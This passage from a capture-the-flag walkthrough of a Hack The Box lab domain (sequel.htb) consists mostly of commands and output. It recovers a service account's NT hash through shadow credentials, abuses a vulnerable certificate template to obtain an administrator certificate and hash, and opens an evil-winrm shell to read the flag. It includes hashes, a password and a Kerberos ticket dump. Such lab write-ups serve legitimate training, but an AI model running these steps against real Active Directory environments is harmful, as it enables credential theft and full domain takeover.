Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '50850a1420fa41a29fc04a98afb3dc05' [*] Adding Key Credential with device ID '50850a1420fa41a29fc04a98afb3dc05' to the Key Credentials for 'ca_svc' [*] Successfully added Key Credential with device ID '50850a1420fa41a29fc04a98afb3dc05' to the Key Credentials for 'ca_svc' [*] Authenticating as 'ca_svc' with the certificate [*] Certificate identities: [*] No identities found in this certificate [*] Using principal: 'ca_svc@sequel.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'ca_svc.ccache' [-] Error writing output file: [Errno 13] Permission denied: 'ca_svc.ccache'. Dumping to stdout instead [-] Use -debug to print a stacktrace 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 [*] Wrote credential cache to 'stdout' [*] Trying to retrieve NT hash for 'ca_svc' [*] Restoring the old Key Credentials for 'ca_svc' [*] Successfully restored the old Key Credentials for 'ca_svc' [*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce ``` {% endcode %} * Use bloodyAD to set `ryan` as the owner, and then give ryan full control * Then use shadow credentials to get NT hash for `ca_svc` Checking to make sure that the hash works {% code overflow="wrap" %} ```bash nxc smb dc01.sequel.htb -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo/bloodyAD] └─$ nxc smb dc01.sequel.htb -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\ca_svc:3b181b914e7a9d5508ea1e20bc2b7fce ``` {% endcode %} Running certipy again to find the same vulnerable template {% code overflow="wrap" expandable="true" %} ```bash ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo/bloodyAD] └─$ certipy find -vulnerable -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.42.224 -stdout Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'sequel-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'sequel-DC01-CA' [*] Checking web enrollment for CA 'sequel-DC01-CA' @ 'DC01.sequel.htb' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC01-CA DNS Name : DC01.sequel.htb Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3 Certificate Validity Start : 2024-06-08 16:50:40+00:00 Certificate Validity End : 2124-06-08 17:00:40+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : SEQUEL.HTB\\Administrators Access Rights ManageCa : SEQUEL.HTB\\Administrators SEQUEL.HTB\\Domain Admins SEQUEL.HTB\\Enterprise Admins ManageCertificates : SEQUEL.HTB\\Administrators SEQUEL.HTB\\Domain Admins SEQUEL.HTB\\Enterprise Admins Enroll : SEQUEL.HTB\\Authenticated Users Certificate Templates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectAltRequireDns SubjectRequireCommonName Enrollment Flag : PublishToDs AutoEnrollment Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1000 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2026-01-05T02:27:28+00:00 Template Last Modified : 2026-01-05T02:27:28+00:00 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTB\\Domain Admins SEQUEL.HTB\\Enterprise Admins Object Control Permissions Owner : SEQUEL.HTB\\Enterprise Admins Full Control Principals : SEQUEL.HTB\\Domain Admins SEQUEL.HTB\\Enterprise Admins SEQUEL.HTB\\Cert Publishers Write Owner Principals : SEQUEL.HTB\\Domain Admins SEQUEL.HTB\\Enterprise Admins SEQUEL.HTB\\Cert Publishers Write Dacl Principals : SEQUEL.HTB\\Domain Admins SEQUEL.HTB\\Enterprise Admins SEQUEL.HTB\\Cert Publishers Write Property Enroll : SEQUEL.HTB\\Domain Admins SEQUEL.HTB\\Enterprise Admins [+] User Enrollable Principals : SEQUEL.HTB\\Cert Publishers [+] User ACL Principals : SEQUEL.HTB\\Cert Publishers [!] Vulnerabilities ESC4 : User has dangerous permissions. ``` {% endcode %} Now make it vulnerable to ESC1 {% code overflow="wrap" expandable="true" %} ```bash certipy template -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -write-default-configuration -no-save ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo/bloodyAD] └─$ certipy template -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -write-default-configuration -no-save Certipy v5.0.4 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The DNS query name does not exist: SEQUEL.HTB. [!] Use -debug to print a stacktrace [*] Updating certificate template 'DunderMifflinAuthentication' [*] Replacing: [*] nTSecurityDescriptor: b'\\x01\\x00\\x04\\x9c0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\xff\\x01\\x0f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00' [*] flags: 66104 [*] pKIDefaultKeySpec: 2 [*] pKIKeyUsage: b'\\x86\\x00' [*] pKIMaxIssuingDepth: -1 [*] pKICriticalExtensions: ['2.5.29.19', '2.5.29.15'] [*] pKIExpirationPeriod: b'\\x00@9\\x87.\\xe1\\xfe\\xff' [*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2'] [*] pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0'] [*] msPKI-Enrollment-Flag: 0 [*] msPKI-Private-Key-Flag: 16 [*] msPKI-Certificate-Name-Flag: 1 [*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2'] Are you sure you want to apply these changes to 'DunderMifflinAuthentication'? (y/N): y [*] Successfully updated 'DunderMifflinAuthentication' ``` {% endcode %} Now requesting certificate as `administrator` {% code overflow="wrap" expandable="true" %} ```bash certipy req -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb #Had some minor issues, so here is what worked: ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo] └─$ certipy template -username ca_svc@sequel.htb -password 'HackSmarter123' -template DunderMifflinAuthentication -dc-ip 10.129.42.224 -write-default-configuration -no-save Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Updating certificate template 'DunderMifflinAuthentication' [*] Replacing: [*] nTSecurityDescriptor: b'\\x01\\x00\\x04\\x9c0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\xff\\x01\\x0f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x0b\\x00\\x00\\x00' [*] flags: 66104 [*] pKIDefaultKeySpec: 2 [*] pKIKeyUsage: b'\\x86\\x00' [*] pKIMaxIssuingDepth: -1 [*] pKICriticalExtensions: ['2.5.29.19', '2.5.29.15'] [*] pKIExpirationPeriod: b'\\x00@9\\x87.\\xe1\\xfe\\xff' [*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2'] [*] pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0'] [*] msPKI-Enrollment-Flag: 0 [*] msPKI-Private-Key-Flag: 16 [*] msPKI-Certificate-Name-Flag: 1 [*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2'] Are you sure you want to apply these changes to 'DunderMifflinAuthentication'? (y/N): y [*] Successfully updated 'DunderMifflinAuthentication' ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo] └─$ certipy req -username ca_svc@sequel.htb -password 'HackSmarter123' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.129.42.224 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 10 [*] Successfully requested certificate [*] Got certificate with UPN 'administrator@sequel.htb' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx' ``` {% endcode %} Getting the hash for `administrator` {% code overflow="wrap" %} ```bash ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo] └─$ certipy auth -pfx administrator.pfx -dc-ip 10.129.42.224 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'administrator@sequel.htb' [*] Using principal: 'administrator@sequel.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff ``` {% endcode %} ## Getting evil-winrm shell as `administrator` and Root.txt {% code overflow="wrap" expandable="true" %} ```bash evil-winrm -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff -i dc01.sequel.htb 5b3679c90287ce7d5262887dbebaa6ea ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo] └─$ evil-winrm -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff -i dc01.sequel.htb Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\Administrator\\Documents> cd .. *Evil-WinRM* PS C:\\Users\\Administrator> ls Directory: C:\\Users\\Administrator Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 1/4/2025 7:58 AM 3D Objects d-r--- 1/4/2025 7:58 AM Contacts d-r--- 1/4/2025 7:58 AM Desktop d-r--- 1/4/2025 7:58 AM Documents d-r--- 1/4/2025 8:31 AM Downloads d-r--- 1/4/2025 7:58 AM Favorites d-r--- 1/4/2025 7:58 AM Links d-r--- 1/4/2025 7:58 AM Music d-r--- 1/4/2025 7:58 AM Pictures d-r--- 1/4/2025 7:58 AM Saved Games d-r--- 1/4/2025 7:58 AM Searches d-r--- 1/4/2025 7:58 AM Videos *Evil-WinRM* PS C:\\Users\\Administrator> cd Desktop *Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> ls Directory: C:\\Users\\Administrator\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/4/2026 10:40 AM 34 root.txt *Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> cat root.txt 5b3679c90287ce7d5262887dbebaa6ea *Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> ``` {% endcode %}